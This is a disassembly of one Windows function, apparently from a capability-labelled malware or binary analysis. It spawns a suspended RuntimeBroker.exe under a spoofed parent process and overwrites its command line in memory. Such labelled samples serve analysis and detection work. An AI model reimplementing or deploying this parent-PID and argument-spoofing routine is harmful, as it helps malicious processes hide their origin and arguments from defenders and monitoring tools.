Function at 0x1400010a0
Capabilities:
Create process on windows
Patch process command line
Query environment variable
Spoof parent pid

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x588]
sub rsp, 0x688
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x570], rax
xorps xmm0, xmm0
mov qword [rsp + 0x78], rcx
xor eax, eax
mov qword [rsp + 0x58], r8
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp + 0x18], rax
mov r12, rdx
movups xmmword [rbp - 0x38], xmm0
mov qword [rsp + 0x70], rax
mov ecx, 0x70
movups xmmword [rbp - 0x28], xmm0
lea rdi, [rbp - 0x50]
xor esi, esi
movups xmmword [rbp - 0x18], xmm0
mov r8d, 0x104
lea rdx, [rbp + 0x250]
movups xmmword [rbp - 8], xmm0
mov qword [rsp + 0x50], r9
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x28], rsi
rep stosb byte [rdi], al
movups xmmword [rsp + 0x60], xmm0
lea rdi, [rsp + 0x60]
mov dword [rbp - 0x50], 0x70
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, str.WINDIR
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x14000140e
lea r8, str.RuntimeBroker.exe
lea rdx, str.C:WindowsSystem32_s
lea rcx, [rbp + 0x360]
call fcn.140001040
lea r9, [rbp + 0x28]
xor r8d, r8d
lea edx, [rsi + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rdi, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
lea edx, [rsi + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
je 0x14000140e
lea r9, [rbp + 0x28]
xor r8d, r8d
lea edx, [rsi + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x14000140e
mov qword [rsp + 0x30], rsi
lea r9, [rsp + 0x78]
mov qword [rsp + 0x28], rsi
xor edx, edx
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x14000140e
lea rax, [rsp + 0x60]
mov qword [rbp + 0x18], r14
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x360]
lea rax, [rbp - 0x50]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rsi
xor ecx, ecx
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8080004
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000140e
lea rcx, str.NTDLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000140e
xorps xmm0, xmm0
mov dword [rbp + 0x20], esi
lea rcx, [rbp + 0x20]
xor edx, edx
mov qword [rsp + 0x20], rcx
lea r9d, [rsi + 0x30]
mov rcx, qword [rsp + 0x60]
lea r8, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
call rax
test eax, eax
jne 0x14000140e
mov rdi, qword [rbp - 0x78]
mov rbx, qword [rsp + 0x60]
mov qword [rbp + 0x30], rsi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [rsi + 8]
mov r8d, 0x2c8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r9d, 0x2c8
mov rdx, rdi
mov r13, rax
mov rcx, rbx
lea rax, [rbp + 0x30]
mov r8, r13
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14000140e
cmp qword [rbp + 0x30], 0x2c8
jne 0x14000140e
mov rdi, qword [r13 + 0x20]
mov rbx, qword [rsp + 0x60]
mov qword [rbp + 0x38], rsi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [rsi + 8]
mov r8d, 0x17f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r9d, 0x17f
mov rdx, rdi
mov r15, rax
mov rcx, rbx
lea rax, [rbp + 0x38]
mov r8, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14000140e
cmp qword [rbp + 0x38], 0x17f
jne 0x14000140e
lea r8d, [rsi + 0x1e]
lea rdx, str.Big_chungus_dog_nuts_and_shit
lea rcx, [rbp + 0x50]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rdx, qword [r15 + 0x78]
lea r8, [rbp + 0x50]
mov rcx, qword [rsp + 0x60]
mov qword [rbp + 0x40], rsi
lea edi, [rax*2 + 1]
lea rax, [rbp + 0x40]
mov r9d, edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000140e
cmp qword [rbp + 0x40], rdi
jne 0x14000140e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r13
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
mov dword [rbx], eax
mov rax, qword [rsp + 0x60]
mov qword [r12], rax
mov qword [rdi], rcx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbx], esi
je 0x14000140e
cmp qword [r12], rsi
je 0x14000140e
cmp qword [rdi], rsi
setne sil
mov eax, esi
jmp 0x140001410
xor eax, eax
mov rcx, qword [rbp + 0x570]
xor rcx, rsp
call fcn.140001d80
add rsp, 0x688
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret